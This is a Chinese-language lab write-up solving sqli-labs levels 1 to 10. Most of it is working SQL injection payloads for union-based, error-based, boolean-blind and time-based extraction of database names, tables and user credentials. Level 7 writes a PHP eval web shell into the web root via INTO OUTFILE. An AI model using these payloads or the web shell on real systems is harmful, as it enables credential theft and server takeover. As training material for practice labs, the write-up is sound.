目录
Less-1 (字符注入) Less-2(数字注入)
Less-3 (GET单引号+括号字符型注入)
Less-4 (GET双引号+括号字符型注入)
Less-5 (GET单引号字符型报错注入)
Less-6 (GET双引号字报错符型注入)
Less-7 (导出文件GET字符型注入)
Less-8 基于’的GET型盲注
Less-9 基于’的GET型时间盲注
Less-10 基于"的GET型时间盲注
文章同步上传至个人网站sql-labs 1~10 - ThnPkm
Less-1 (字符注入) Less-2(数字注入)
一般先判断注入类型:
前两题的重点是区分字符注入与整型注入
-
数字型:
select * from tabname where id = 1 -
字符型:
select * from tabname where id = '1’
数字型:
?id=1 假设ID为存在注入的参数
?id=1‘ 语句报错
?id=1 and 1=1 页面正常返回结果
?id=1 and 1=2 页面返回错误
字符型:
?id=1 假设ID为存在注入的参数
?id=1‘ 语句报错
?id=1' and '1'='1 页面正常返回结果
?id=1' and '1'='2 页面返回错误
/?id=1' order by 3 --+
/?id=-1' union select 1,2,3--+
/?id=-1' union select 1,2,database() --+/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+/?id=-1' union select 1,2,group_concat(username,password) from security.users --+
less-2与less-1解法相同,只是不需要 ' 进行闭合,也不需要--+的注释符了
Less-3 (GET单引号+括号字符型注入)
分别尝试将 ?id=1 ?id=1' ?id=1" 添加到url中,发现?id=1'报错,说明是字符型注入
(初步认定为单引号注入而返回的结果中包含有一个小括号所以可推定出单引号+括号的注入)。
这样推测sql语句是select xxx from "table_name" where id = (' 1 ')
为了验证,传入
?id=1') and ('1')=('1
正常运行,所以推测没问题
基于') 的闭合,我们直接注入就行了
Less-4 (GET双引号+括号字符型注入)
分别尝试将 ?id=1 ?id=1' ?id=1" 添加到url中,?id=1" 时,出现报错
这样推测sql语句是select xxx from "table_name" where id = (" 1 ")
也就是双引号+括号,我们测试一下
/?id=1") and ("1")=("1
成功闭合,继续爆库即可
Less-5 (GET单引号字符型报错注入)
经过前四题,我们比较容易的判断出来是单引号字符注入,照常判断回显位置,但是没有回显信息
可以使用报错注入,常用有两个函数
updatexml()报错注入
模板: 利用原理:0x7e是~,使其不符合xpath格式从而报错(最长输出32位)
我们对0x7e中间那个位置操作即可
and updatexml(1,concat(0x7e,(select user()),0x7e),1)
本题注入演示: 依次爆库,表,列
/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
注意这里不要用group_concat()连接 ,但是依旧报错,
/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() ),0x7e),1)--+
这里需要使用limit限制了, limit 0,1 表示从第0位开始,返回1个值,
把索引从0换到3就知道所有表名了
/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+
来爆破users表中的字段,limit用法如上实现显示所有字段名
/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x7e),1)--+
最后一步查询字段内容,用concat连接 0x3a是冒号
/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 4,1),0x7e),1)--+
Less-6 (GET双引号字报错符型注入)
与上题同理,不过是双引号 "
extractvalue()报错注入
(32位)模板:
and extractvalue(1,concat(0x7e,(select user()),0x7e));
与updatexml一样的用法
本题举例:
/?id=1" and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+/?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e)) --+/?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x7e)) --+/?id=1" and extractvalue(1,concat(0x7e,(select concat(username,0x3a,password) from security.users limit 1,1),0x7e)) --+
Less-7 (导出文件GET字符型注入)
此篇文章挺详细
Sqli-labs之Less-7_→_→-CSDN博客
首先能通过页面回显判断字符如何闭合
经过测试,是 ')) 闭合,当然字段数还是3
/?id=1')) and (('1'))=(('1 正确
/?id=1')) and (('1'))=(('2 错误
我来学习一下,这题大概意思就是没有错误回显,也没有信息回显
我们想得到信息,可以通过sql注入把信息保存到一个文件中,访问此文件就是想要的信息了
那么就需要一些函数
secure_file_priv 它限制了LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录。
这个你要在mysql里 的my.ini文件中找,默认没有
就将secure_file_priv=''添加到[mysqld] 下面
这样就能在任何目录下通过 into outfile 导出文件了
我们通过这题试试,先测试一下能不能正常写入文件,这里路径要用\\,路径随便啊
/?id=1')) union select 1,2,3 into outfile "C:\\wamp64\\www\\sqli-labs-php7-master\\Less-7\\test.txt" --+
成功了!!,接下来我们就可以常规操作爆破库,表,列等操作了,无非就是信息回显在定义的文件里。
记得txt文件名要换一下,这里不能覆盖文件
当然既然我们能写入文件,直接传个小马就可以了,这样才是文件注入正解
注意要用双引号包裹
/?id=1')) union select 1,2,"<?php @eval($_POST['pass']);?>" into outfile "C:\\wamp64\\www\\level7.php" --+
蚁剑连接成功
Less-8 基于’的GET型盲注
经过测试,是单引号闭合
连报错信息也没有显示了,我们只能知道是否正确,用布尔盲注
这里记录一下大佬整理的函数
1.left()函数:left(database(),1)='s’
left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0。
例:left(database(),1)=‘s’; 前1位是否是s。
2.regexp函数:select user() regexp 'r’
user()的结果是root,regexp为匹配root的正则表达式。
例:select database() regexp ‘s’; 匹配第一个字符是否是s。
3.like函数:select user() like 'ro%'
匹配与regexp相似。
例:select database() like ‘s%’; 匹配第一个字符是否是s。
4.substr(a,b,c)函数:slelct substr() XXX
substr(a,b,c)从位置b开始,截取a字符串c位长度。
例:select substr((select database()),1,1)=‘s’; 匹配第一个字符是否是s。
例:select substr((select database()),1,3)=‘sec’; 匹配前三个字符是否是sec。
5.ascii()函数:
将某个字符串转化为ascii值
例:select ascii(substr((select database()),1,1)); 直接回显115 或者是:
例:select ascii(substr((select database()),1,3))>110; 如果大于110,就会返回1,否则返回0。
6.chr(数字)或者是ord(‘字母’)
使用python中的两个函数可以判断当前的ascii值是多少。
本题解法:
正常判断字段数是3
1,通过盲注得到库名,首先要知道库名长度,用length函数
/?id=1' and length(database())=8 --+ 正确
/?id=1' and length(database())=9 --+ 错误
得到库名长度是8
2,接下来就是逐个判断这八个字母是什么,用substr函数 配合二分法
/?id=1' and substr(database(),1,1)>'m' --+ 正确,第一个字母比m大
/?id=1' and substr(database(),1,1)>'t' --+ 错误,第一个字母比 t小
/?id=1' and substr(database(),1,1)='s' --+ 正确,第一个字母就是s
那么我们确实知道库名是security,只需验证即可,所以根据信息去猜测很重要
/?id=1' and substr(database(),1,8)='security' --+ 正确 库名就是security
所谓盲注就是无限重复此过程,表名,字段名亦是如此 ,所以很耗费时间
3,盲注表名,经过不断调试limit和substr参数,可以得到第4个表的名字是users
/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,5)='users' --+ 回显正确
4,盲注字段,也是疯狂尝试,但我们知道其实就是username 和 password
/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,8)='username' --+
/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,8)='password' --+
也可使用 regexp函数正则注入 ,修改正则参数即可推出有字段username,接下来重复造轮子推出字段password
/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^user[a-z]' limit 0,1) --+
/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^pass[a-z]' limit 0,1) --+
5,获取username,password字段内容, 重复
/?id=1' and substr((select username from security.users limit 0,1),1,4)='dumb' --+
/?id=1' and substr((select password from security.users limit 0,1),1,4)='dumb' --+
是很麻烦啊,可以使用bp抓包用集束炸弹来爆破,尝试一下
1,爆库名,传入/?id=1' and substr((select database()),1,1)='s' --+ 抓包
2,爆表名,/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+
通过修改limit来获取每个表名,方法同上
3,爆字段
/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u' --+
4,爆内容
用户名/?id=1' and substr((select username from security.users limit 0,1),1,1)='d' --+
密码/?id=1' and substr((select password from security.users limit 0,1),1,1)='d' --+
不多赘述
Less-9 基于’的GET型时间盲注
发现如何尝试都没有错误回显,正确和错误的结果都被设设置成一样的了
所以使用时间盲注来判断是否正确
/?id=1 and sleep(5)--+ 正常
/?id=1' and sleep(5)--+ 延迟
/?id=1" and sleep(5)--+ 正常
说明是单引号闭合
if(查询语句,1,sleep(5))
,即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。
if(expr1,expr2,expr3) :判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
sleep(n) :将程序挂起一段时间 n单位为秒
1,判断库名长度,说明库名8位
/?id=1' and if(length(database())=8,1,sleep(5)) --+
/?id=1' and if(length(database())=9,1,sleep(5)) --+ 延迟
2,判断库名,用抓包还是可行,为了速度只延迟1秒
/?id=1' and if(substr(database(),1,1)='s',1,sleep(1)) --+
3,爆表名
/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u',1,sleep(1)) --+
4,爆字段
/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u',1,sleep(1)) --+
5,爆字段内容
/?id=1' and if(substr((select username from security.users limit 0,1),1,1)='d',1,sleep(1)) --+
Less-10 基于"的GET型时间盲注
上题是单引号闭合,这题是双引号,做法同上